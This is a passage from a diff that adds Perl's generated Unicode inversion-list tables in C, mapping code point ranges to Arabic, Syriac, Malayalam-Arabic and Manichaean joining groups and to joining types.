+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x717,
+	0x718
+};
+
+static const UV PL_JG__HEH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x647,
+	0x648
+};
+
+static const UV PL_JG__HEHGOAL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6C1,
+	0x6C3
+};
+
+static const UV PL_JG__HETH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x71A,
+	0x71B
+};
+
+static const UV PL_JG__KAF_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x643,
+	0x644,
+	0x6AC,
+	0x6AF,
+	0x77F,
+	0x780,
+	0x8B4,
+	0x8B5
+};
+
+static const UV PL_JG__KAPH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x71F,
+	0x720
+};
+
+static const UV PL_JG__KHAPH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x74E,
+	0x74F
+};
+
+static const UV PL_JG__KNOTTEDHEH_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6BE,
+	0x6BF,
+	0x6FF,
+	0x700
+};
+
+static const UV PL_JG__LAM_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x644,
+	0x645,
+	0x6B5,
+	0x6B9,
+	0x76A,
+	0x76B,
+	0x8A6,
+	0x8A7
+};
+
+static const UV PL_JG__LAMADH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x720,
+	0x721
+};
+
+static const UV PL_JG__MALAYALAMBHA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x866,
+	0x867
+};
+
+static const UV PL_JG__MALAYALAMJA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x861,
+	0x862
+};
+
+static const UV PL_JG__MALAYALAMLLA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x868,
+	0x869
+};
+
+static const UV PL_JG__MALAYALAMLLLA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x869,
+	0x86A
+};
+
+static const UV PL_JG__MALAYALAMNGA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x860,
+	0x861
+};
+
+static const UV PL_JG__MALAYALAMNNA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x864,
+	0x865
+};
+
+static const UV PL_JG__MALAYALAMNNNA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x865,
+	0x866
+};
+
+static const UV PL_JG__MALAYALAMNYA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x862,
+	0x863
+};
+
+static const UV PL_JG__MALAYALAMRA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x867,
+	0x868
+};
+
+static const UV PL_JG__MALAYALAMSSA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x86A,
+	0x86B
+};
+
+static const UV PL_JG__MALAYALAMTTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x863,
+	0x864
+};
+
+static const UV PL_JG__MANICHAEANALEPH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC0,
+	0x10AC1
+};
+
+static const UV PL_JG__MANICHAEANAYIN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD9,
+	0x10ADB
+};
+
+static const UV PL_JG__MANICHAEANBETH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC1,
+	0x10AC3
+};
+
+static const UV PL_JG__MANICHAEANDALETH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC5,
+	0x10AC6
+};
+
+static const UV PL_JG__MANICHAEANDHAMEDH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD4,
+	0x10AD5
+};
+
+static const UV PL_JG__MANICHAEANFIVE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AEC,
+	0x10AED
+};
+
+static const UV PL_JG__MANICHAEANGIMEL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC3,
+	0x10AC5
+};
+
+static const UV PL_JG__MANICHAEANHETH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10ACD,
+	0x10ACE
+};
+
+static const UV PL_JG__MANICHAEANHUNDRED_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AEF,
+	0x10AF0
+};
+
+static const UV PL_JG__MANICHAEANKAPH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD0,
+	0x10AD3
+};
+
+static const UV PL_JG__MANICHAEANLAMEDH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD3,
+	0x10AD4
+};
+
+static const UV PL_JG__MANICHAEANMEM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD6,
+	0x10AD7
+};
+
+static const UV PL_JG__MANICHAEANNUN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD7,
+	0x10AD8
+};
+
+static const UV PL_JG__MANICHAEANONE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AEB,
+	0x10AEC
+};
+
+static const UV PL_JG__MANICHAEANPE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10ADB,
+	0x10ADD
+};
+
+static const UV PL_JG__MANICHAEANQOPH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10ADE,
+	0x10AE1
+};
+
+static const UV PL_JG__MANICHAEANRESH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AE1,
+	0x10AE2
+};
+
+static const UV PL_JG__MANICHAEANSADHE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10ADD,
+	0x10ADE
+};
+
+static const UV PL_JG__MANICHAEANSAMEKH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD8,
+	0x10AD9
+};
+
+static const UV PL_JG__MANICHAEANTAW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AE4,
+	0x10AE5
+};
+
+static const UV PL_JG__MANICHAEANTEN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AED,
+	0x10AEE
+};
+
+static const UV PL_JG__MANICHAEANTETH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10ACE,
+	0x10ACF
+};
+
+static const UV PL_JG__MANICHAEANTHAMEDH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AD5,
+	0x10AD6
+};
+
+static const UV PL_JG__MANICHAEANTWENTY_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AEE,
+	0x10AEF
+};
+
+static const UV PL_JG__MANICHAEANWAW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC7,
+	0x10AC8
+};
+
+static const UV PL_JG__MANICHAEANYODH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10ACF,
+	0x10AD0
+};
+
+static const UV PL_JG__MANICHAEANZAYIN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC9,
+	0x10ACB
+};
+
+static const UV PL_JG__MEEM_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x645,
+	0x646,
+	0x765,
+	0x767,
+	0x8A7,
+	0x8A8
+};
+
+static const UV PL_JG__MIM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x721,
+	0x722
+};
+
+static const UV PL_JG__NOJOININGGROUP_invlist[] = { /* for all charsets */
+	47,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x620,
+	0x621,
+	0x622,
+	0x640,
+	0x641,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x674,
+	0x675,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x780,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8AD,
+	0x8AE,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x10AC0,
+	0x10AC6,
+	0x10AC7,
+	0x10AC8,
+	0x10AC9,
+	0x10ACB,
+	0x10ACD,
+	0x10AE2,
+	0x10AE4,
+	0x10AE5,
+	0x10AEB,
+	0x10AF0
+};
+
+static const UV PL_JG__NOON_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x646,
+	0x647,
+	0x6B9,
+	0x6BD,
+	0x767,
+	0x76A
+};
+
+static const UV PL_JG__NUN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x722,
+	0x723
+};
+
+static const UV PL_JG__NYA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6BD,
+	0x6BE
+};
+
+static const UV PL_JG__PE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x726,
+	0x727
+};
+
+static const UV PL_JG__QAF_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x642,
+	0x643,
+	0x66F,
+	0x670,
+	0x6A7,
+	0x6A9,
+	0x8A5,
+	0x8A6
+};
+
+static const UV PL_JG__QAPH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x729,
+	0x72A
+};
+
+static const UV PL_JG__REH_invlist[] = { /* for all charsets */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x631,
+	0x633,
+	0x691,
+	0x69A,
+	0x6EF,
+	0x6F0,
+	0x75B,
+	0x75C,
+	0x76B,
+	0x76D,
+	0x771,
+	0x772,
+	0x8AA,
+	0x8AB,
+	0x8B2,
+	0x8B3,
+	0x8B9,
+	0x8BA
+};
+
+static const UV PL_JG__REVERSEDPE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x727,
+	0x728
+};
+
+static const UV PL_JG__ROHINGYAYEH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8AC,
+	0x8AD
+};
+
+static const UV PL_JG__SAD_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x635,
+	0x637,
+	0x69D,
+	0x69F,
+	0x6FB,
+	0x6FC,
+	0x8AF,
+	0x8B0
+};
+
+static const UV PL_JG__SADHE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x728,
+	0x729
+};
+
+static const UV PL_JG__SEEN_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x633,
+	0x635,
+	0x69A,
+	0x69D,
+	0x6FA,
+	0x6FB,
+	0x75C,
+	0x75D,
+	0x76D,
+	0x76E,
+	0x770,
+	0x771,
+	0x77D,
+	0x77F
+};
+
+static const UV PL_JG__SEMKATH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x723,
+	0x724
+};
+
+static const UV PL_JG__SHIN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x72B,
+	0x72C
+};
+
+static const UV PL_JG__STRAIGHTWAW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8B1,
+	0x8B2
+};
+
+static const UV PL_JG__SWASHKAF_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6AA,
+	0x6AB
+};
+
+static const UV PL_JG__SYRIACWAW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x718,
+	0x719
+};
+
+static const UV PL_JG__TAH_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x637,
+	0x639,
+	0x69F,
+	0x6A0,
+	0x8A3,
+	0x8A4
+};
+
+static const UV PL_JG__TAW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x72C,
+	0x72D
+};
+
+static const UV PL_JG__TEHMARBUTA_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x629,
+	0x62A,
+	0x6C0,
+	0x6C1,
+	0x6D5,
+	0x6D6
+};
+
+static const UV PL_JG__TETH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x71B,
+	0x71D
+};
+
+static const UV PL_JG__WAW_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x624,
+	0x625,
+	0x648,
+	0x649,
+	0x676,
+	0x678,
+	0x6C4,
+	0x6CC,
+	0x6CF,
+	0x6D0,
+	0x778,
+	0x77A,
+	0x8AB,
+	0x8AC
+};
+
+static const UV PL_JG__YEH_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x620,
+	0x621,
+	0x626,
+	0x627,
+	0x649,
+	0x64B,
+	0x678,
+	0x679,
+	0x6D0,
+	0x6D2,
+	0x777,
+	0x778,
+	0x8A8,
+	0x8AA,
+	0x8BA,
+	0x8BB
+};
+
+static const UV PL_JG__YEHBARREE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6D2,
+	0x6D4
+};
+
+static const UV PL_JG__YEHWITHTAIL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6CD,
+	0x6CE
+};
+
+static const UV PL_JG__YUDH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x71D,
+	0x71E
+};
+
+static const UV PL_JG__YUDHHE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x71E,
+	0x71F
+};
+
+static const UV PL_JG__ZAIN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x719,
+	0x71A
+};
+
+static const UV PL_JG__ZHAIN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x74D,
+	0x74E
+};
+
+static const UV PL_JOINC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x200C,
+	0x200E
+};
+
+static const UV PL_JT__C_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x640,
+	0x641,
+	0x7FA,
+	0x7FB,
+	0x180A,
+	0x180B,
+	0x200D,
+	0x200E
+};
+
+static const UV PL_JT__D_invlist[] = { /* for all charsets */
+	119,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x620,
+	0x621,
+	0x626,
+	0x627,
+	0x628,
+	0x629,
+	0x62A,
+	0x62F,
+	0x633,
+	0x640,
+	0x641,
+	0x648,
+	0x649,
+	0x64B,
+	0x66E,
+	0x670,
+	0x678,
+	0x688,
+	0x69A,
+	0x6C0,
+	0x6C1,
+	0x6C3,
+	0x6CC,
+	0x6CD,
+	0x6CE,
+	0x6CF,
+	0x6D0,
+	0x6D2,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x712,
+	0x715,
+	0x71A,
+	0x71E,
+	0x71F,
+	0x728,
+	0x729,
+	0x72A,
+	0x72B,
+	0x72C,
+	0x72D,
+	0x72F,
+	0x74E,
+	0x759,
+	0x75C,
+	0x76B,
+	0x76D,
+	0x771,
+	0x772,
+	0x773,
+	0x775,
+	0x778,
+	0x77A,
+	0x780,
+	0x7CA,
+	0x7EB,
+	0x841,
+	0x846,
+	0x848,
+	0x849,
+	0x84A,
+	0x854,
+	0x855,
+	0x856,
+	0x860,
+	0x861,
+	0x862,
+	0x866,
+	0x868,
+	0x869,
+	0x8A0,
+	0x8AA,
+	0x8AF,
+	0x8B1,
+	0x8B3,
+	0x8B5,
+	0x8B6,
+	0x8B9,
+	0x8BA,
+	0x8BE,
+	0x1807,
+	0x1808,
+	0x1820,
+	0x1878,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0xA840,
+	0xA872,
+	0x10AC0,
+	0x10AC5,
+	0x10AD3,
+	0x10AD7,
+	0x10AD8,
+	0x10ADD,
+	0x10ADE,
+	0x10AE1,
+	0x10AEB,
+	0x10AEF,
+	0x10B80,
+	0x10B81,
+	0x10B82,
+	0x10B83,
+	0x10B86,
+	0x10B89,
+	0x10B8A,
+	0x10B8C,
+	0x10B8D,
+	0x10B8E,
+	0x10B90,
+	0x10B91,
+	0x10BAD,
+	0x10BAF,
+	0x1E900,
+	0x1E944
+};
+
+static const UV PL_JT__L_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA872,
+	0xA873,
+	0x10ACD,
+	0x10ACE,
+	0x10AD7,
+	0x10AD8
+};
+
+static const UV PL_JT__R_invlist[] = { /* for all charsets */
+	107,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x622,
+	0x626,
+	0x627,
+	0x628,
+	0x629,
+	0x62A,
+	0x62F,
+	0x633,
+	0x648,
+	0x649,
+	0x671,
+	0x674,
+	0x675,
+	0x678,
+	0x688,
+	0x69A,
+	0x6C0,
+	0x6C1,
+	0x6C3,
+	0x6CC,
+	0x6CD,
+	0x6CE,
+	0x6CF,
+	0x6D0,
+	0x6D2,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6EE,
+	0x6F0,
+	0x710,
+	0x711,
+	0x715,
+	0x71A,
+	0x71E,
+	0x71F,
+	0x728,
+	0x729,
+	0x72A,
+	0x72B,
+	0x72C,
+	0x72D,
+	0x72F,
+	0x730,
+	0x74D,
+	0x74E,
+	0x759,
+	0x75C,
+	0x76B,
+	0x76D,
+	0x771,
+	0x772,
+	0x773,
+	0x775,
+	0x778,
+	0x77A,
+	0x840,
+	0x841,
+	0x846,
+	0x848,
+	0x849,
+	0x84A,
+	0x854,
+	0x855,
+	0x867,
+	0x868,
+	0x869,
+	0x86B,
+	0x8AA,
+	0x8AD,
+	0x8AE,
+	0x8AF,
+	0x8B1,
+	0x8B3,
+	0x8B9,
+	0x8BA,
+	0x10AC5,
+	0x10AC6,
+	0x10AC7,
+	0x10AC8,
+	0x10AC9,
+	0x10ACB,
+	0x10ACE,
+	0x10AD3,
+	0x10ADD,
+	0x10ADE,
+	0x10AE1,
+	0x10AE2,
+	0x10AE4,
+	0x10AE5,
+	0x10AEF,
+	0x10AF0,
+	0x10B81,
+	0x10B82,
+	0x10B83,
+	0x10B86,
+	0x10B89,
+	0x10B8A,
+	0x10B8C,
+	0x10B8D,
+	0x10B8E,
+	0x10B90,
+	0x10B91,
+	0x10B92,
+	0x10BA9,
+	0x10BAD
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_JT__T_invlist[] = { /* for ASCII/Latin1 */
+	627,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAD,
+	0xAE,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
